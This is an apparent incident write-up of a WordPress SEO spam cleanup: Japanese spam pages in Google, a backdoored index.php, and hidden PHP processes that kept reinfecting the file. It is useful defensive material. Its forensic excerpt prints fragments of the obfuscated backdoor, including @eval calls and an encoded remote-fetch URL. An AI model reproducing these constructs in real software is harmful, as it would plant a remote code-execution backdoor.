WordPress SEO Spam Injection Cleanup: From Japanese Search Spam to a Clean Wordfence Scan
WordPress Incident Cleanup

WordPress SEO Spam Injection Cleanup: From Japanese Search Results to a Clean Wordfence Scan

This is the full cleanup story of a WordPress SEO spam injection on FreeExams.co.ke: what showed up in Google, what had already been tried, how the infected index.php kept coming back, how the hidden persistence process was found, and how the site was finally verified clean.

Incident date: June 17, 2026 Platform: WordPress 7.0 on CloudPanel Site: freeexams.co.ke Outcome: Clean checksum and Wordfence scan
WordPress SEO Spam Injection Cleanup

Quick Answer

The site had suffered a WordPress SEO spam compromise. Google had indexed Japanese e-commerce spam pages under the domain, and Wordfence later showed the main index.php file contained a large obfuscated PHP payload. The first workaround was to lock index.php with chattr +i and chmod 444, but that only protected one file and made WordPress updates awkward.

The issue had been noticed since 2025, around the period when CloudPanel was installed and a clean site migration file was uploaded. At the time, it was reasonable to hope that replacing the WordPress site with a clean migration would make the infection disappear. It did not, because the real persistence was not only inside the uploaded WordPress files.

The real persistence was not a normal plugin file, theme file, or database snippet. It was three long-running PHP processes owned by the freeexams account, all running php -f /tmp/httpd.conf from the website directory. The script file itself had already disappeared from /tmp, but the processes remained alive and rewrote index.php seconds after it was repaired. Killing those processes stopped the reinfection. After that, the clean WordPress 7.0 index.php held, WordPress core checksums passed, all plugins verified, and the final Wordfence scan returned no results found.

Wordfence Security scan complete for FreeExams.co.ke with zero results found
The final Wordfence Security scan completed successfully. It scanned 11,187 files, 10 plugins, 2 themes, 502 posts, 0 comments, and 1,815 URLs in 35 seconds, with Results Found (0).
Security note: Passwords, database credentials, salts, and SSH secrets are intentionally not reproduced in this report. They were used only during the live cleanup. After any incident where credentials are shared or exposed, rotate them.

The Site

Background: WordPress SEO Spam Injection Cleanup on CloudPanel

FreeExams.co.ke is a WordPress site hosted on a CloudPanel server that also hosts other websites. The important boundary was clear from the start: the work had to target only the FreeExams site, not every site on the server.

This was not a brand-new problem that appeared and disappeared in a single afternoon. The issue had been noticed since 2025, after CloudPanel was installed and a clean site migration file was uploaded. The clean migration made sense as a recovery attempt: if the compromised files were inside the old WordPress copy, replacing them should have removed the problem. But the spam behavior persisted through multiple attempts, which was the clue that something outside the normal WordPress file set was still alive.

That history also changed how the cleanup had to be approached. CloudPanel was the hosting control panel, not automatically the cause. The key question was whether something in the server account, process table, scheduler, or webroot was continuing to rewrite the site after clean files were restored.

The WordPress document root was:

/home/freeexams/htdocs/freeexams.co.ke

The server was accessed over SSH as root, but the WordPress files themselves were owned by the CloudPanel site user and group:

freeexams:freeexams

This matters because malware persistence can live at several levels: in WordPress files, in plugin files, in database snippets, in scheduled WordPress cron jobs, in system cron jobs, or as a long-running process under the site account. The cleanup had to be careful enough to distinguish those layers.

CloudPanel file manager showing the FreeExams WordPress file structure
The CloudPanel file manager showed a normal WordPress structure: wp-admin, wp-includes, wp-content, index.php, wp-config.php, and the usual root files.

What Google Showed

Visible Symptoms: Japanese E-commerce Spam in Search

The first obvious symptom was not a broken homepage. It was Google search results. The domain had started showing Japanese e-commerce titles and snippets, including product-style pages that had nothing to do with Kenyan exam materials. This is a classic SEO spam pattern: attackers inject doorway pages or cloaked responses so search engines index commercial spam under a legitimate domain.

The spam pages were not merely ugly. They were dangerous for the domain’s reputation. If Google continues to see spam content, the site can lose trust, search visibility, and user confidence. Search Console cleanup helps remove bad indexed URLs, but it does not fix the compromised server by itself.

Google results for freeexams.co.ke showing Japanese e-commerce spam pages
The earlier Google result set showed Japanese e-commerce spam indexed under the FreeExams domain.
Current Google results for freeexams.co.ke showing clean education-related pages
After manual search cleanup, Google results were mostly back to education-related FreeExams pages.
Important distinction: Search cleanup and malware cleanup are related, but they are not the same. Removing spam URLs from Search Console helps Google recover. Removing the server-side infection prevents the spam from returning.

The First Defense

What Had Already Been Tried Before the Final Cleanup

Before the final repair, several meaningful steps had already been taken. These were not foolish steps. They reduced damage and bought time. The problem was that they guarded the symptom rather than the source of reinfection.

1. Search Console Cleanup

The spam URLs had been removed from Google Search Console. This was visible in the newer search screenshot, where the domain showed legitimate FreeExams pages again instead of the earlier Japanese e-commerce entries.

2. Manual Removal of E-commerce Spam Footprints

The obvious e-commerce additions that had affected search results were cleaned up. This helped repair the search-facing side of the incident.

3. Clean Migration Attempt

After noticing the issue in 2025, a clean site migration file was uploaded after CloudPanel had been installed. This was a sensible step because many WordPress infections live inside plugin, theme, upload, or core files. A clean migration can wipe those away if the malware is only stored in the site files being replaced.

In this case, the infection persisted after the clean migration. That did not mean the migration was useless. It meant the remaining persistence was probably outside the migrated WordPress package. The final investigation proved that point: the writer was a long-running PHP process under the site user, not just a bad file inside the migration archive.

4. Repeated Manual Attempts

There had been many attempts to make the issue go away. Some improved the search results. Some hardened the visible file. But because the hidden PHP process was still running, the infection had a way to come back. This is the exhausting part of malware cleanup: when the persistence layer is missed, every visible fix feels temporary. After enough cycles of trying, waiting, and seeing the problem persist, it was understandable to feel like giving up.

5. Hardened index.php Workflow

Because Wordfence kept flagging index.php, the file had been protected with immutable filesystem attributes and read-only permissions. The workflow looked like this:

# Temporarily unlock index.php before a WordPress update chattr -i /home/freeexams/htdocs/freeexams.co.ke/index.php chmod 644 /home/freeexams/htdocs/freeexams.co.ke/index.php# Run WordPress update# Re-lock index.php after the update chmod 444 /home/freeexams/htdocs/freeexams.co.ke/index.php chattr +i /home/freeexams/htdocs/freeexams.co.ke/index.php

That workflow stopped a file from being changed while it was locked. But it also created a maintenance burden: every WordPress update required manual unlock, update, and relock steps. More importantly, the malicious writer still existed. It was simply blocked from modifying that one file while the immutable flag was active.

Why this was not enough: chattr +i is a barricade, not a cure. It can keep one file from being overwritten, but it does not remove malware, close the original entry point, clean database payloads, kill malicious processes, or prove that the rest of the site is clean.

Scope Control

Hosting Context: Only One Site Needed Work

The CloudPanel server hosted several websites, but the target was only:

https://freeexams.co.ke

That meant the cleanup had to stay inside the FreeExams site unless system-level persistence was discovered. This is why the early commands focused on the site root, its owner, its logs, its WordPress files, and its PHP processes.

Initial Server Inspection

The first live inspection confirmed:

  • The WordPress site root existed at /home/freeexams/htdocs/freeexams.co.ke.
  • index.php was 22,534 bytes, far larger than the normal WordPress front controller.
  • index.php was read-only and immutable.
  • WP-CLI was installed at /usr/bin/wp.
  • The site was running WordPress 7.0.
ls -la /home/freeexams/htdocs/freeexams.co.ke lsattr /home/freeexams/htdocs/freeexams.co.ke/index.php stat /home/freeexams/htdocs/freeexams.co.ke/index.php command -v wp wp core version –path=/home/freeexams/htdocs/freeexams.co.ke –allow-root
index.php size: 22534 bytes index.php attributes: —-i———e——- WordPress version: 7.0 WP-CLI: /usr/bin/wp

The Infected File

The Wordfence Finding: index.php Contained an Obfuscated Backdoor

Wordfence’s file viewer showed that index.php began with a massive obfuscated PHP block before the normal WordPress bootstrap. A clean WordPress index.php is tiny. It should define WP_USE_THEMES and require wp-blog-header.php. It should not contain goto mazes, dynamic variables, remote fetch logic, encoded strings, or @eval.

IndicatorWhy it mattered
goto labels throughout the fileObfuscation pattern intended to make static analysis difficult.
@eval(...)Can execute dynamically supplied PHP code. This is a severe backdoor indicator.
base64_decode(...) and hex-escaped stringsUsed to hide URLs, function names, and payload behavior.
Remote fetch behaviorThe payload could fetch content from outside the site and serve it conditionally.
Special path behavior around /index.php/jkThe infected file had custom behavior that normal WordPress does not provide.
Normal WordPress bootstrap appended at the endThe malware tried to preserve normal site behavior while adding malicious behavior first.

The first official checksum check confirmed the suspicion:

wp core verify-checksums –path=/home/freeexams/htdocs/freeexams.co.ke –allow-root
Warning: File doesn’t verify against checksum: index.php Error: WordPress installation doesn’t verify against checksums.

That was actually encouraging: WordPress core verification reported index.php as the failing file, not hundreds of modified core files. The visible core compromise was concentrated in the front controller.

The Wrong PHP Code Wordfence Showed

The bad file was not a normal WordPress front controller. Wordfence showed /home/freeexams/htdocs/freeexams.co.ke/index.php as a 22,534 byte file modified on Tuesday, June 16, 2026. A clean WordPress index.php for this install was only 405 bytes.

For the report, the dangerous PHP is shown below as a non-executable forensic excerpt. The original infected copy was preserved separately on the server as evidence, but this article does not need to publish the full working backdoor.

Wordfence: File Viewer Filename: /home/freeexams/htdocs/freeexams.co.ke/index.php File Size: 22,534 bytes File last modified: Tuesday 16th of June 2026 10:01:42 AM<?php goto LVPaKmp4O4qO1t;/* Obfuscated control-flow maze removed from this display for safety. The real file continued as one huge PHP line full of goto labels, hex-escaped strings, dynamic variables, remote fetch logic, and anti-analysis structure. The indicators below are direct examples from the infected file. */z3XJd6S40RXCOz: @eval($EGXJMXSxJTW7aG[62](${$EGXJMXSxJTW7aG[41]}[11]));JFePmW9aJgekKh: @eval($FtrdqhGApj6e4f[0 + 4]($EUC3TAKfbqRUvX));h66Bao9TiA2iy5: $ZVbXxVKDJ3N3S6 = eHCesY4KYYrulQ( base64_decode(“\x61\x48\x52\60\x63\104\x6f\166\114\63\160\172\117\x44\115\x32\144\152\105\x7a\x4c\x6e\x6c\x68\143\x6e\x4e\154\114\156\x52\x76\x63\103\70”), $sMTtCej65Riwxx );mM8tXGhoc5XMKL: if (!substr_count($_SERVER[“\x52\105\x51\125\x45\x53\x54\x5f\x55\122\x49”], “\151\x6e\x64\145\170\x2e\160\150\160\x2f\152\153”)) { goto jFEyzwxgPWEcB2; } goto zEs4CVWfDBxCjy;zEs4CVWfDBxCjy: exit(“\173\40\42\145\162\x72\157\x72\42\x3a\x20\62\60\x30\54\x20\42\154\x63\42\72\40\42\152\153\x22\x2c\40\42\x64\141\x74\141\42\x3a\40\x5b\40\x31\x20\x5d\40\175”);?> <?php define( ‘WP_USE_THEMES’, true ); require(‘./wp-blog-header.php’);?>

The final line is what made the infection easy to miss during casual browsing: after the malicious code ran, the file still loaded WordPress. That allowed the homepage to keep working while the payload handled special requests, search-engine traffic, referrer logic, and remote content behavior before handing normal visitors back to WordPress.

Why the full code is not printed here: The preserved infected file is useful as private incident evidence, but publishing a complete, copy-pasteable backdoor is not necessary for this case study. The excerpt above includes the decisive forensic indicators without turning the article into a reusable malware sample.

The Trap

The First Repair Attempt: Clean File, Immediate Reinfection

The first repair was careful and reversible. The infected file was copied into a root-only cleanup folder for evidence, then index.php was unlocked and replaced with a clean WordPress front controller.

mkdir -p /root/freeexams-cleanup-20260617 cp -a /home/freeexams/htdocs/freeexams.co.ke/index.php \ /root/freeexams-cleanup-20260617/index.php.infected.20260617-104900chattr -i /home/freeexams/htdocs/freeexams.co.ke/index.php chmod 644 /home/freeexams/htdocs/freeexams.co.ke/index.php

To avoid relying on memory, a fresh WordPress 7.0 core package was downloaded into /tmp, and the official index.php from that package was used as the replacement.

wp core download \ –path=/tmp/wp-core-7.0-freeexams-check \ –version=7.0 \ –skip-content \ –allow-rootcp -f /tmp/wp-core-7.0-freeexams-check/index.php \ /home/freeexams/htdocs/freeexams.co.ke/index.phpchown freeexams:freeexams /home/freeexams/htdocs/freeexams.co.ke/index.php chmod 644 /home/freeexams/htdocs/freeexams.co.ke/index.php

At first, the hashes matched:

926dd0f95df723f9ed934eb058882cc8 /tmp/wp-core-7.0-freeexams-check/index.php 926dd0f95df723f9ed934eb058882cc8 /home/freeexams/htdocs/freeexams.co.ke/index.php

Then came the important discovery: the file reverted almost immediately. Within seconds, index.php was back to 22,534 bytes, read-only, and infected.

index.php size after reinfection: 22534 bytes index.php permissions after reinfection: 0444 index.php hash after reinfection: 88f7ca09f9bc2b209625f7df8a8a66bc
This changed the investigation. The problem was no longer simply “replace the infected file.” Something active was watching or rewriting index.php. Re-locking the file would hide the symptom again, but it would not remove the active writer.

The Breakthrough

Root Cause Discovery: Three Hidden PHP Processes in Memory

The next step was to look outside the WordPress files. If a clean file was being rewritten without a browser request or WP-CLI command, the likely culprits were a background process, cron job, systemd service, or another persistent script.

The process list revealed the real issue:

ps -eo pid,ppid,user,lstart,etimes,cmd | grep -E ‘freeexams|php|cron|inotify|watch|bash|sh|perl|python|curl|wget’ | grep -v grep
4013062 1 freeexams Sat Mar 14 08:03:25 2026 php -f /tmp/httpd.conf 4013073 1 freeexams Sat Mar 14 08:03:27 2026 php -f /tmp/httpd.conf 4013087 1 freeexams Sat Mar 14 08:03:31 2026 php -f /tmp/httpd.conf

Those processes were suspicious for several reasons:

  • They were owned by the site user freeexams.
  • They had been running since March 14, 2026.
  • They were executing PHP from /tmp/httpd.conf, which is not a normal WordPress, CloudPanel, or php-fpm path.
  • The process parent was PID 1, meaning the original launcher was gone and the processes had been adopted by init.
  • The current working directory was the FreeExams webroot.

The command line and working directory confirmed it:

tr ‘\0’ ‘ ‘ < /proc/4013062/cmdline readlink -f /proc/4013062/cwd
php -f /tmp/httpd.conf /home/freeexams/htdocs/freeexams.co.ke

The source file itself no longer existed:

ls: cannot access ‘/tmp/httpd.conf’: No such file or directory

That explained why simple file scans did not find the writer. The original script had been deleted, but PHP was still running it in memory. As long as those processes lived, they could rewrite index.php again and again.

Root cause summary: The persistent reinfection was caused by long-running PHP processes under the freeexams account, launched from a deleted /tmp/httpd.conf script and running from the WordPress document root.

The Actual Fix

Final Remediation: Stop the Writer, Then Restore the File

The three malicious PHP processes were stopped:

kill 4013062 4013073 4013087

After a short wait, they did not return:

ps -eo pid,ppid,user,lstart,etimes,cmd | grep -E ‘php -f /tmp/httpd\.conf|/tmp/httpd|freeexams’ | grep -v grep

The only later processes under freeexams were normal php-fpm workers:

php-fpm: pool freeexams.co.ke

With the active writer gone, index.php was repaired again using the official WordPress 7.0 file:

chattr -i /home/freeexams/htdocs/freeexams.co.ke/index.php 2>/dev/null chmod 644 /home/freeexams/htdocs/freeexams.co.ke/index.phpcp -f /tmp/wp-core-7.0-freeexams-check/index.php \ /home/freeexams/htdocs/freeexams.co.ke/index.phpchown freeexams:freeexams /home/freeexams/htdocs/freeexams.co.ke/index.php chmod 644 /home/freeexams/htdocs/freeexams.co.ke/index.php

This time, the file stayed clean after a waiting period. The clean checksum remained:

926dd0f95df723f9ed934eb058882cc8 /home/freeexams/htdocs/freeexams.co.ke/index.php
The key turning point: Before killing the hidden PHP processes, replacing index.php lasted about one second. After killing them, the same replacement held and passed WordPress checksum verification.

Proof, Not Hope

Technical Verification After Cleanup

Cleanup is not finished when the malicious file is removed. It is finished when the site remains clean under repeated checks. Several verification layers were used.

1. WordPress Core Checksums

wp core verify-checksums –path=/home/freeexams/htdocs/freeexams.co.ke –allow-root
Success: WordPress installation verifies against checksums.

2. Plugin Checksums

Every installed public plugin was verified against the WordPress.org plugin repository:

wp plugin verify-checksums –all \ –path=/home/freeexams/htdocs/freeexams.co.ke \ –allow-root
Success: Verified 11 of 11 plugins.

3. Upload Directory PHP Check

Uploads are a common hiding place for web shells. A targeted search looked for PHP-like files under wp-content/uploads:

find /home/freeexams/htdocs/freeexams.co.ke/wp-content/uploads \ -type f \( -name ‘*.php’ -o -name ‘*.phtml’ -o -name ‘*.phar’ -o -name ‘*.php.*’ \) \ -printf ‘%TY-%Tm-%Td %TH:%TM %s %m %u:%g %p\n’
/home/freeexams/htdocs/freeexams.co.ke/wp-content/uploads/iwc-logs/index.php

The only PHP file found there was a small index.php placeholder in a logs directory, a common “silence is golden” style file rather than a payload.

4. Database Snippet Review

Because the site used a code-snippet plugin, the database was checked for suspicious stored PHP. This mattered because database-stored snippets can execute during WordPress requests even when the file system looks clean.

The review found seven wpcode snippets. Two were published. They were ordinary snippets: one added noindex behavior for spam-like paths, and one disabled generated image sizes. No snippet contained the reinfection payload or an index.php writer.

SnippetStatusAssessment
Header for Spam PatternsPublishedLegitimate defensive snippet that sends noindex headers for suspicious spam-style URL patterns.
Disable default WordPress generated image sizesPublishedLegitimate performance/storage snippet related to image size generation.
Restrictive File PermissionsDraftSimple draft defining DISALLOW_FILE_EDIT. Not active persistence.
Disable Automatic Updates EmailsDraftBenign draft snippet.
Comment-related snippetsDraftBenign draft snippets for comments and form fields.

5. WordPress Cron Review

The serialized cron option was checked for obvious payload strings, file-writing functions, and malware indicators. It contained normal scheduled hooks for WordPress, LiteSpeed Cache, Wordfence, WooCommerce, Rank Math, and other plugins. It did not contain the reinfection payload.

6. System Persistence Review

The usual respawn locations were checked:

  • Root crontab
  • freeexams user crontab
  • /etc/cron.d
  • /etc/cron.hourly
  • /etc/cron.daily
  • Systemd timers
  • Systemd service files
  • Shell histories for references to /tmp/httpd.conf

No obvious respawner was found. The active persistence had been the three already-running PHP processes.

7. HTTP Smoke Tests

The live site was checked after the cleanup:

curl -I –max-time 20 https://freeexams.co.ke/ curl -I –max-time 20 ‘https://freeexams.co.ke/index.php/jk’ curl -I –max-time 20 ‘https://freeexams.co.ke/[old-japanese-spam-url]’
Homepage: HTTP 200 Old malware-style /index.php/jk path: WordPress redirect/404 behavior, not injected JSON Japanese spam URL: HTTP 404

8. Homepage Source Check

The homepage source was fetched with a Googlebot user agent and checked for the payload indicators and visible Japanese spam terms. Nothing matched.

Updateable Security

Permissions Cleanup Without Breaking WordPress Updates

The goal was not to freeze WordPress forever. The goal was to remove the active infection so WordPress could operate normally again. After the fix, index.php was intentionally left as a normal writable-by-owner WordPress file:

index.php permissions: 644 index.php attributes: ————–e——- immutable flag: not set

A permissions review found one world-writable directory:

777 freeexams:freeexams /home/freeexams/htdocs/freeexams.co.ke/.tmb

That directory was changed to 755. A group of top-level WordPress PHP files also had executable permissions. PHP files do not need executable bits to run through php-fpm, so they were normalized to 644:

chmod 755 /home/freeexams/htdocs/freeexams.co.ke/.tmbchmod 644 \ /home/freeexams/htdocs/freeexams.co.ke/wp-comments-post.php \ /home/freeexams/htdocs/freeexams.co.ke/wp-config-sample.php \ /home/freeexams/htdocs/freeexams.co.ke/wp-cron.php \ /home/freeexams/htdocs/freeexams.co.ke/wp-links-opml.php \ /home/freeexams/htdocs/freeexams.co.ke/wp-mail.php \ /home/freeexams/htdocs/freeexams.co.ke/wp-trackback.php \ /home/freeexams/htdocs/freeexams.co.ke/xmlrpc.php

After that, there were no world-writable paths in the site tree:

find /home/freeexams/htdocs/freeexams.co.ke -perm -002 -printf ‘%m %u:%g %p\n’
No output
Result: The site no longer depends on chattr +i for routine safety. WordPress can be updated without the manual unlock/update/relock dance that had become necessary before the active writer was removed.

The Clean Bill

Final Wordfence Verification

After the server-side cleanup and command-line verification, a Wordfence Security scan was run from inside WordPress. It came back clean.

Final Wordfence Security scan showing zero results found after cleanup
The final scan shows Scan Complete and Results Found (0). The visible paused overlay is a WordPress admin UI state, not a malware finding.
CheckResult
WordPress core checksumPassed
Plugin checksum verification11 of 11 verified
index.php hashMatched official WordPress 7.0 file
index.php immutable flagNot set
Hidden php -f /tmp/httpd.conf processesGone
Homepage HTTP status200
Old spam URL behavior404
Wordfence scan0 results found

Incident Timeline

Incident Timeline

The issue is first noticed in 2025

The spam problem had already been noticed around the time CloudPanel was installed. A clean site migration file was uploaded afterwards, but the issue persisted instead of disappearing.

Japanese SEO spam appears in Google

Search results for freeexams.co.ke showed Japanese e-commerce product pages and snippets unrelated to the site’s education content.

Search-facing cleanup begins

The e-commerce spam footprints were removed from Search Console and the current search results returned to legitimate FreeExams pages.

index.php is hardened manually

The file was protected with chmod 444 and chattr +i, forcing an unlock/update/relock workflow for WordPress maintenance.

Wordfence flags index.php

The file viewer showed a 22 KB obfuscated PHP payload before the normal WordPress bootstrap.

First checksum verification fails

WP-CLI confirmed that the WordPress installation did not verify because index.php failed checksum validation.

Clean index.php is restored and immediately reinfected

The official WordPress 7.0 index.php was copied into place, but the infected 22 KB file returned almost instantly.

Hidden PHP writer processes are discovered

Three long-running freeexams processes were found executing php -f /tmp/httpd.conf from the webroot.

Processes are killed and the clean file holds

After the malicious processes were stopped, the clean index.php remained intact and passed checksum verification.

Final verification passes

Core checksums passed, all plugins verified, HTTP smoke tests behaved correctly, unsafe permissions were normalized, and Wordfence returned zero findings.

What This Teaches

Lessons Learned

1. A Clean Search Result Does Not Prove a Clean Server

The updated Google screenshot looked much better, but the server still had an active malware process. Search Console cleanup repairs the public index. It does not prove that the backend is clean.

2. A Clean Migration Does Not Remove a Live Server Process

Uploading a clean migration file can fix an infection when the infection lives only inside the WordPress files or database being migrated. It cannot stop a separate process that is already running under the hosting account. That is why the problem persisted after the clean migration attempt in 2025.

3. Immutable Files Are Emergency Brakes, Not Root-Cause Fixes

chattr +i can be useful during an emergency, but it should not become the permanent security model. If a file must be immutable forever to stay clean, something else is still wrong.

4. WP-CLI Checksums Are Excellent for Core and Public Plugins

The core checksum check quickly confirmed that the main WordPress core issue was index.php. Plugin checksums later confirmed that all 11 public plugins matched their expected source files.

5. Reinfection Speed Is Evidence

The clean file was replaced and then reverted almost instantly. That timing ruled out a passive stale file and pointed toward an active writer.

6. Deleted Files Can Still Be Running

The suspicious /tmp/httpd.conf file no longer existed on disk, but PHP was still running it. This is why process inspection mattered as much as file scanning.

7. Database Snippets Must Be Reviewed

Any site with a code-snippet plugin deserves database inspection during a malware cleanup. In this case, the snippets were not the root cause, but checking them closed an important gap.

8. Permission Cleanup Should Be Conservative

The final cleanup did not blindly chmod the entire site. It fixed clearly unsafe items: a world-writable directory and executable bits on top-level PHP files. The site remained compatible with CloudPanel and normal WordPress updates.

Recommended follow-up actions
  • Rotate the root SSH password because it was used during incident response.
  • Move SSH toward key-only login and disable password login where practical.
  • Rotate WordPress administrator passwords.
  • Regenerate WordPress salts to invalidate old sessions.
  • Review all WordPress administrator users for unknown accounts.
  • Keep Wordfence active and schedule recurring scans.
  • Monitor process lists for unexpected long-running commands under site users.
  • Monitor Google Search Console for any new indexed spam URLs.
  • Keep CloudPanel, WordPress core, themes, and plugins updated.
  • Maintain off-server backups so future cleanup can compare known-good states.

Questions

Frequently Asked Questions

Was WordPress itself the root cause?

The visible compromised file was a WordPress core file, but the reinfection came from a separate PHP process running under the site user. WordPress was the target and delivery surface, but the active writer was outside the normal WordPress request lifecycle.

Why did the first clean index.php not stay clean?

Because three long-running PHP processes were still alive. They rewrote index.php almost immediately after it was restored. Once those processes were killed, the clean file stayed in place.

Why was the malicious /tmp/httpd.conf file not found?

It had already been deleted from disk. Linux processes can continue running code after the original file is gone. The process list still showed the command line, and /proc confirmed the processes were running from the FreeExams webroot.

Does the site still need chattr +i on index.php?

No. After the active writer was removed and verification passed, index.php was left as a normal 644 WordPress file with no immutable flag. This allows normal WordPress updates without the previous manual lock/unlock workflow.

Were the plugins infected?

WP-CLI verified all 11 public plugins successfully. The investigation also reviewed suspicious function usage and database snippets. No plugin file was identified as the reinfection source.

What proved the cleanup worked?

The clean index.php held after waiting and after HTTP requests, WordPress core checksums passed, all plugin checksums passed, old spam routes no longer returned injected behavior, the process list no longer showed php -f /tmp/httpd.conf, and the final Wordfence scan returned zero results found.

Evidence Notes

Evidence Kept and Evidence Removed

The infected index.php was preserved on the server as evidence at:

/root/freeexams-cleanup-20260617/index.php.infected.20260617-104900

The temporary clean WordPress core download used during repair was removed from /tmp after verification:

/tmp/wp-core-7.0-freeexams-check

No passwords, database credentials, SSH secrets, or WordPress salts are included in this article.

Share this:

Similar Posts

Leave a Reply

Your email address will not be published. Required fields are marked *